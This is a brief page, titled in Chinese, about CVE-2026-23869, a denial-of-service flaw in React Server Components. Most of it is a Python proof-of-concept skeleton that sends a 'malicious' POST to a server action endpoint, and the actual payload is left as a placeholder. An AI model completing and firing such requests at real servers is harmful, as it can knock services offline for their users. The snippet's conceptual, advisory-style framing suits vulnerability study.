CVE-2026-23869 React Server Components拒绝服务漏洞

import requests # Target URL of the vulnerable Server Function endpoint target_url = "http://vulnerable-host/_server_action" # The specific payload structure depends on the internal parsing logic of RSC. # This is a conceptual example of sending a request that triggers the DoS. malicious_payload = { # Placeholder for the crafted data that causes CPU exhaustion. # Real-world exploitation requires specific data patterns known in the advisory. "_args": [["...crafted_payload..."]] } try: print("Sending malicious request to trigger DoS...") response = requests.post(target_url, json=malicious_payload) print(f"Response Status: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")